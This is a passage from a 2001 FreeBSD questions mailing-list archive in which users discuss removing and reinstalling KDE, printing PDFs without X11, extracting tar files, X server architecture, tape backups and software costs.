List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alex writes: > pkg_delete -f kde* I tried it, and got a truckload of error messages ("unable to completely remove directory" and "couldn't open dependency file" being among hte most popular, as well as "couldn't entirely delete package"). Is it still removing everything? It complained about a dependent package called koffice, so I performed the same command on that as well. It complained about not finding some XFree86-3 stuff, but I think that is because I have version 4.x installed. > Then cvsup and get the latest updates to the > ports (if your ports are messed up, then delete > /ports/x11 and let cvsup rebuild them) If I can remember how to do that. I'll play around with this and see. This isn't going to affect the rest of the system (all the non-X parts), right? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15: 7:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 58B8837B405 for ; Tue, 20 Nov 2001 15:07:31 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKN7TC02236; Wed, 21 Nov 2001 00:07:29 +0100 (CET) Message-ID: <013301c17218$20ef74b0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> <20011120201935.GB80963@rhadamanth> <00c801c17205$1175f2b0$0a00000a@atkielski.com> <20011120225043.GC82211@rhadamanth> Subject: Re: home pc use Date: Wed, 21 Nov 2001 00:07:22 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > Yet another assumption. > I personally don't _need_ any Windows applications > at all. I personally don't know anyone who _doesn't_ need at least a few Windows applications. Who's right? > I believe it was Kris who pointed out how to do > it somewhere else in this thread. Yes, I saw it. I'll have to try it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:10: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 8386A37B405; Tue, 20 Nov 2001 15:09:57 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKN9uf02999; Wed, 21 Nov 2001 00:09:56 +0100 (CET) Message-ID: <013601c17218$7877e730$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" Cc: "FreeBSD Questions" References: <002f01c17162$7d190550$0a00000a@atkielski.com> <20011120120938.M76318@monorchid.lemis.com> <007f01c17164$a3284c40$0a00000a@atkielski.com> <20011120121857.O76318@monorchid.lemis.com> <00a801c171a9$c5a8f2c0$0a00000a@atkielski.com> <20011121092052.J76318@monorchid.lemis.com> Subject: Re: SCSI tape back that works under FreeBSD Date: Wed, 21 Nov 2001 00:09:49 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > In most cases, they were unable to transfer data. Unable to transfer between drive and SCSI adapter card? That doesn't sound like a hardware problem. > Look at the prices. You get what you pay for. Zip drives are cheaper than DDS tape, too. > Carried to its logical conclusion, you could never > complain about anything if there was some really > expensive alternative. Agreed. > If there's one thing that needs to be reliable, > it's backups. Backups only have to be reliable for a limited time, not forever. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:12:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f74.law8.hotmail.com [216.33.241.74]) by hub.freebsd.org (Postfix) with ESMTP id D77F037B405 for ; Tue, 20 Nov 2001 15:12:20 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 15:12:20 -0800 Received: from 216.209.246.144 by lw8fd.law8.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 23:12:20 GMT X-Originating-IP: [216.209.246.144] From: "Pierre-Luc Drouin" To: freebsd-questions@freebsd.org Subject: Is plextor PX-W1610TA cd burner a good drive for FreeBSD? Date: Tue, 20 Nov 2001 23:12:20 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 23:12:20.0904 (UTC) FILETIME=[CE4D5280:01C17218] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm unable to burn audio cds with my LG 12x/8x/35x atapi cd burner with burncd cause it seems not to be supported. So, i would like to buy another drive and i've seen that Plextor PX-AW1610TA is supported by burncd. I've read good comments on StorageReview.com about this drive, but i would like to know if that works well in FreeBSD. _________________________________________________________________ Téléchargez MSN Explorer gratuitement à l'adresse http://explorer.msn.fr/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:13:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dknim001.defence.gov.au (dknim001.defence.gov.au [203.10.231.227]) by hub.freebsd.org (Postfix) with ESMTP id 203CA37B405 for ; Tue, 20 Nov 2001 15:13:42 -0800 (PST) Received: (from uucp@localhost) by dknim001.defence.gov.au (8.11.0/8.11.0) id fAKNDcl08964 for ; Tue, 20 Nov 2001 23:13:38 GMT Message-ID: <81E70F798E8BD511AC2F0002A5749710063822@WAGEX001> From: "Heddles, FLGOFF Chris" To: "'freebsd-questions@FreeBSD.ORG'" Subject: sec: unclassified - QT2 / KDE2 problem on 4.4 release Date: Wed, 21 Nov 2001 10:11:13 +1100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I did have QT2.3.1 installed (presumably as a dependency by KDE) I uninstalled and reinstalled it from the CD using "pkg_add" and it worked thanks On Monday 19 November 2001 14:39 pm, Heddles, FLGOFF Chris wrote: > Attempting to manually launch KDE from within X gives the following error > message: > > $ startkde > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > connect() failed: : No such file or directory > $ In the directory /var/db/pkg, is there a directory called qt-[something]? This output suggests that the QT toolkit (which KDE depends upon) either wasn't installed, or isn't known to the dynamic linker. -- Cheers, William Richard wrichard@trivalley.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:19:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bsd.alexe.org (cc381552-a.slbch1.occa.home.com [24.16.80.251]) by hub.freebsd.org (Postfix) with ESMTP id 02BDB37B405 for ; Tue, 20 Nov 2001 15:19:09 -0800 (PST) Received: (from alex@localhost) by bsd.alexe.org (8.11.6/8.11.6) id fAKNLuX07092 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 15:21:56 -0800 (PST) (envelope-from alex) Date: Tue, 20 Nov 2001 15:21:14 -0800 From: Alex Obradovic To: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120152114.G6187@bsd.alexe.org> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <3BFADB22.7060701@owt.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BFADB22.7060701@owt.com>; from owner-freebsd-questions@FreeBSD.ORG on Tue, Nov 20, 2001 at 02:37:22PM -0800 X-Editor: Vim http://www.vim.org/ X-Info: http://www.alexe.org X-Operating-System: FreeBSD/4.4-RC (i386) X-Uptime: 2:58PM up 1 day, 4:22, 6 users, load averages: 1.00, 1.00, 1.00 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I don't own any licenses so I can not upgrades. All 50 titles listed would cost me more than $3000: Photoshop 6 $609 Acrobat 5 $249 Illustrator 10 $399 Pagemaker 7 $499 Streamline $122 Office ~$350 (only for upgrade) Win2K Professional $319 Should I go more? On windows you can type calc.exe to sum these up :) Alex > > > Nah, Adobe is a good marketeer. You are always provided the opportunity > to upgrade to another product for slightly more than update prices. It > just takes time. I have the same software and I didn't even come close > to your estimate. > > Kent > > -- > Kent Stewart > Richland, WA > > mailto:kbstew99@hotmail.com > http://users.owt.com/kstewart/index.html > FreeBSD News http://daily.daemonnews.org/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:19:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id E47AE37B427 for ; Tue, 20 Nov 2001 15:19:29 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166KAp-0005xn-00; Tue, 20 Nov 2001 23:19:27 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166K5z-000LeW-00; Tue, 20 Nov 2001 23:14:27 +0000 Date: Tue, 20 Nov 2001 23:14:27 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120231427.GA83038@rhadamanth> References: <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> <008a01c171fa$7110be90$0a00000a@atkielski.com> <20011120200746.GA80963@rhadamanth> <00c101c17204$4070bb50$0a00000a@atkielski.com> <20011120224137.GA82211@rhadamanth> <012701c17216$9e31df00$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <012701c17216$9e31df00$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 11:56:34PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > That's not the situation you described though, is it? > > It's exactly the situation I described. Not as I parsed your mail; see below. > > You said : > > `` I would not run any X server on a large system > > with many users connected; let the users gobble > > resources on their own workstations, not on the > > central system.'' > > > > If, however, you are running the X server on the > > same machine, then the server and workstation are > > one and the same. > > Yes, and if there are other users connected to the machine, then the situation I > described obtains. If that's honestly what you meant, then I aplogise for the misunderstanding. I thought you meant that each user would be running their own copy of Netscape with the display on their own workstation (which is not as resource hungry as it sounds; I believe Netscape was originally designed with this in mind, and most of the memory requirements do not significantly increase with multiple copies running). > > However, I think you are failing to realise that > > the X server and the workstation are always one > > and the same. > > But the workstation and the server (the server being the UNIX system running the > clients) are not. I meant server in the sense of the central system serving > many users. > > Each user runs their own X server. > > If the user is running the X server on the console of his FreeBSD system, then > everything is running on a single machine. This appears to be the way many > people do it, from what I've read here. Again, this is not how I understood the situation described. As someone else mentioned, however, I think you may be doing a better job of context switching than the kernel I compiled this morning. > > I'll say it again, in case you still don't get it : > > The X server runs on the workstation. > > If you are running KDE, typically it is > running on the console of the same machine that runs the X clients, as I > understand it. So everything is running on one machine ... just like a desktop. Yes, but with multiple displays and multiple users, so not much like a desktop at all really. > I supposed you could split things over two machines, but is anyone really doing > that? I do it if I need to run Internet Explorer, as I have a Solaris machine that can run it, but I can rarely be bothered to move into the other room to use it. > To run a GUI, you need intimate communication with the hardware. Which is why the X server runs on the workstation. The X server runs on the workstation and talks to the display hardware, and Netscape (or whatever) runs on the remote machine and sends it's display output to the X server on the workstation. > > As in, each user runs their own X server on their > > own workstation, the machine that all the users they > > are logged into doesn't run an X server at > > all, it runs X clients. > > These two machines may be one and the same. They don't have to be. If you want to talk about specific subsets of situations, you should explicitly say so before you start. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:20: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tholian.rsasecurity.com (mail.rsasecurity.com [204.167.112.129]) by hub.freebsd.org (Postfix) with SMTP id 683BA37B41A for ; Tue, 20 Nov 2001 15:19:58 -0800 (PST) Received: from sdtihq24.securitydynamics.com by tholian.rsasecurity.com via smtpd (for hub.FreeBSD.org [216.136.204.18]) with SMTP; 20 Nov 2001 23:20:31 UT Received: from ebola.securitydynamics.com (ebola.securid.com [192.168.7.4]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id SAA18688 for ; Tue, 20 Nov 2001 18:19:53 -0500 (EST) Received: from spirit.dynas.se (localhost [127.0.0.1]) by ebola.securitydynamics.com (8.10.2+Sun/8.9.1) with SMTP id fAKNJoL27643 for ; Tue, 20 Nov 2001 18:19:50 -0500 (EST) Received: (qmail 13178 invoked from network); 20 Nov 2001 23:19:48 -0000 Received: from explorer.rsa.com (HELO mikko.rsa.com) (10.81.217.59) by spirit.dynas.se with SMTP; 20 Nov 2001 23:19:48 -0000 Received: (from mikko@localhost) by mikko.rsa.com (8.11.6/8.11.6) id fAKNJjJ12456; Tue, 20 Nov 2001 15:19:45 -0800 (PST) (envelope-from mikko) Date: Tue, 20 Nov 2001 15:19:45 -0800 (PST) From: Mikko Tyolajarvi Message-Id: <200111202319.fAKNJjJ12456@mikko.rsa.com> To: eric@tek-shop.com Cc: questions@freebsd.org Subject: Re: pdf print server Newsgroups: local.freebsd.questions References: <200111201842.fAKIgW935286@syndicate.tek-shop.com> X-Newsreader: NN version 6.5.6 (NOV) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In local.freebsd.questions you write: >I'm trying to set up a printer server for Mac, windows, and BSD clients to >print to. In conjunction with our web server, I'd like users of the web site >to click little buttons that tell the server to print a file (mostly pdf's). >This seems easy enough with cgi/perl/shell scripts, but I don't know of a >program that can decode and print a pdf besides Acrobat, which means I'd have >to install linux base and X windows just to keep Acrobat happy. >Anybody know of a simple command line program that can take a pdf and print >it?? Ghostscript can be built without X11 (/usr/ports/print/ghostscript*-nox11) and comes with a "pdf2ps" script. Xpdf is a light-weight pdf viewer. The port installs the command-line tool "pdftops" which has no dependencies on X (you need X11 to build the port, but I suppose you could build just the non-X11 bits by hand if you are really desperate ;-). $.02, /Mikko -- Mikko Työläjärvi_______________________________________mikko@rsasecurity.com RSA Security To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:22:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 3B8A837B417 for ; Tue, 20 Nov 2001 15:22:27 -0800 (PST) Received: (from dkelly@localhost) by grumpy.dyndns.org (8.11.6/8.11.6) id fAKNMAR55111; Tue, 20 Nov 2001 17:22:10 -0600 (CST) (envelope-from dkelly) Date: Tue, 20 Nov 2001 17:22:10 -0600 From: David Kelly To: Michael Lucas Cc: freebsd-questions@FreeBSD.ORG Subject: Re: untarring a chicken I mean a file Message-ID: <20011120172210.A53989@grumpy.dyndns.org> References: <200111201456.AA1966932132@florida-wireless.com> <20011120115606.P9030-100000@localhost> <20011120141240.A53581@grumpy.dyndns.org> <20011120153311.A14729@blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120153311.A14729@blackhelicopters.org>; from mwlucas@blackhelicopters.org on Tue, Nov 20, 2001 at 03:33:11PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 03:33:11PM -0500, Michael Lucas wrote: > On Tue, Nov 20, 2001 at 02:12:40PM -0600, David Kelly wrote: > > I always have a phobia as to whether or not the tar file was bundled in > > a single directory or whether or not it was hundreds of little files > > without a (sub)directory. So even if I expand it in my home directory > > I'll create a throwaway directory to expand it into something like this: > > > > % mkdir junk > > % cd junk > > % tar -xvzf ../tarfile.tgz > > > > You can also check with the -t option. > > tar -tzvf tarfile.tgz will list the contents of a tarball, without > extracting it. But of course. Sometimes the listing output is simple enough that one can easily visually verify files are not going to spray everywhere all over your directory. But what the heck? If I want them extracted then I want them extracted and can use them where ever they land as long as they are separate from everything else so that clean up is easy. My point being it doesn't much matter if the extracted data is one or two subdirectories down. If it does matter than its trivial to mv it up one or two. Hmm. Wonder what would happen if ../ could be embedded into a file path inside of a tar archive? Could make a worse mess for those who don't expect it. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:22:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 6F71937B419 for ; Tue, 20 Nov 2001 15:22:31 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166KDl-00060k-00; Tue, 20 Nov 2001 23:22:29 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166KAu-000Lf2-00; Tue, 20 Nov 2001 23:19:32 +0000 Date: Tue, 20 Nov 2001 23:19:32 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120231932.GB83038@rhadamanth> References: <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> <20011120201935.GB80963@rhadamanth> <00c801c17205$1175f2b0$0a00000a@atkielski.com> <20011120225043.GC82211@rhadamanth> <013301c17218$20ef74b0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <013301c17218$20ef74b0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 12:07:22AM +0100, Anthony Atkielski wrote: > Ceri writes: > > > Yet another assumption. > > I personally don't _need_ any Windows applications > > at all. > > I personally don't know anyone who _doesn't_ need at least a few Windows > applications. Who's right? As I said, the only Windows applications I run with any frequency are games and Free Agent. I don't _need_ any of them. I guess I am. > Yes, I saw it. I'll have to try it. Oh, while I remember, you can actually resize a Netscape window and go to different urls from a command line, if Netscape is already running. The command line is : netscape -remote 'doStuff()' where you choose doStuff from one of the list at http://home.netscape.com/newsref/std/x-remote.html Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:23:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bsd.alexe.org (cc381552-a.slbch1.occa.home.com [24.16.80.251]) by hub.freebsd.org (Postfix) with ESMTP id 35DFB37B417 for ; Tue, 20 Nov 2001 15:23:27 -0800 (PST) Received: (from alex@localhost) by bsd.alexe.org (8.11.6/8.11.6) id fAKNQVW07121 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 15:26:31 -0800 (PST) (envelope-from alex) Date: Tue, 20 Nov 2001 15:26:31 -0800 From: Alex Obradovic To: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120152631.H6187@bsd.alexe.org> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <011701c17212$8518b010$0a00000a@atkielski.com> <20011120144826.F6187@bsd.alexe.org> <012e01c17217$ef44ead0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <012e01c17217$ef44ead0$0a00000a@atkielski.com>; from owner-freebsd-questions@FreeBSD.ORG on Wed, Nov 21, 2001 at 12:05:59AM +0100 X-Editor: Vim http://www.vim.org/ X-Info: http://www.alexe.org X-Operating-System: FreeBSD/4.4-RC (i386) X-Uptime: 3:24PM up 1 day, 4:47, 6 users, load averages: 1.11, 1.05, 1.01 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You should be fine. Just run the same command several times until there are no more kde* entries. Ignore the dependency messages you are getting. After you reinstall KDE everything will be OK. Since most of the apps keep their config files in your home directory, all preferences will be saved. Alex * owner-freebsd-questions@FreeBSD.ORG (owner-freebsd-questions@FreeBSD.ORG) wrote: > Alex writes: > > > pkg_delete -f kde* > > I tried it, and got a truckload of error messages ("unable to completely remove > directory" and "couldn't open dependency file" being among hte most popular, as > well as "couldn't entirely delete package"). Is it still removing everything? > > It complained about a dependent package called koffice, so I performed the same > command on that as well. > > It complained about not finding some XFree86-3 stuff, but I think that is > because I have version 4.x installed. > > > Then cvsup and get the latest updates to the > > ports (if your ports are messed up, then delete > > /ports/x11 and let cvsup rebuild them) > > If I can remember how to do that. > > I'll play around with this and see. > > This isn't going to affect the rest of the system (all the non-X parts), right? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:24:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 55F9737B418 for ; Tue, 20 Nov 2001 15:24:31 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id PAA13556; Tue, 20 Nov 2001 15:24:24 -0800 Message-ID: <3BFAE625.5080803@owt.com> Date: Tue, 20 Nov 2001 15:24:21 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Anthony Atkielski Cc: Alex Obradovic , freebsd-questions@FreeBSD.ORG Subject: Re: home pc use References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <3BFADB22.7060701@owt.com> <012201c17215$9c8ab420$0a00000a@atkielski.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > Actually, the listed products cost about $1900, if I remember correctly. You > don't get upgrade prices if you haven't already bought the product before. They have specials. I went something like WordPerfect > Ventura > PageMaker using competitive upgrades. The upgrade to PM was ~$199. I had Corel Draw and instead of upgrading it, I did a competitive upgrade to PhotoShop for what I remember as well under $200. Somewhere in there, Adobe offered Illustrator for like $50 more than the upgrade price. I don't remember specifics but something like PM or PS were considered competitive upgrades. I purchased Acrobat to publish some documents but it comes in one of the other products now. Better stop this. It is too far off topic. Kent > > ----- Original Message ----- > From: "Kent Stewart" > To: "Alex Obradovic" > Cc: > Sent: Tuesday, November 20, 2001 23:37 > Subject: Re: home pc use > > > >> >>Alex Obradovic wrote: >> >> >>>>CompuServe CSNav-Win >>>>CompuServe WinCIM >>>>Adobe Acrobat (full version) >>>>Adobe Acrobat Reader >>>>Adobe Acrobat Distiller >>>>Adobe Type Manager Deluxe >>>>Adobe PageMaker >>>>Adobe Illustrator >>>>Adobe Photoshop >>>>Adobe Streamline >>>> >>>> >>>[snip] >>> >>>Wow. Did you pay for all of these? I counted $3000 in software and >>>stopped. >>> >> >>Nah, Adobe is a good marketeer. You are always provided the opportunity >>to upgrade to another product for slightly more than update prices. It >>just takes time. I have the same software and I didn't even come close >>to your estimate. -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:25:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailin7.bigpond.com (mailin7.bigpond.com [139.134.6.95]) by hub.freebsd.org (Postfix) with ESMTP id 8ACDB37B503 for ; Tue, 20 Nov 2001 15:25:07 -0800 (PST) Received: from h204.vicyouth.com ([144.135.24.84]) by mailin7.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GN4HBO00.JSI for ; Wed, 21 Nov 2001 09:31:00 +1000 Received: from CTPP-p-144-134-43-120.prem.tmns.net.au ([144.134.43.120]) by bwmam06.mailsvc.email.bigpond.com(MailRouter V2.9k 8341/15780045); 21 Nov 2001 09:24:20 Message-Id: <5.0.0.25.2.20011121102150.00a2d040@vicyouth.com> X-Sender: jacob@vicyouth.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Wed, 21 Nov 2001 10:23:11 -0800 To: freebsd-questions@freebsd.org From: Jacob Rhoden Subject: php/apache/mysql incompatibility Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Is it just me, or is it fairly bad for packages to be setup so that they don't work together? Essentially anyone who wants to use php from packages can't? Regards Jacob Rhoden "As for me and my house, we Jacob Rhoden will serve the Lord" jj@f3z.net (Joshua 24:15) 0403 788 386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:27:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from flood.goldengate.net (flood.goldengate.net [209.240.87.82]) by hub.freebsd.org (Postfix) with ESMTP id 742A937B417 for ; Tue, 20 Nov 2001 15:26:53 -0800 (PST) Received: from isis ([216.250.174.26]) by flood.goldengate.net (8.11.6/8.11.6) with SMTP id fAKNQqB10367 for ; Tue, 20 Nov 2001 17:26:52 -0600 (CST) From: "Bob" To: "FreeBSD Questions Mail List" Subject: sshd error Date: Tue, 20 Nov 2001 17:29:46 -0600 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01C171E8.F327AEA0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 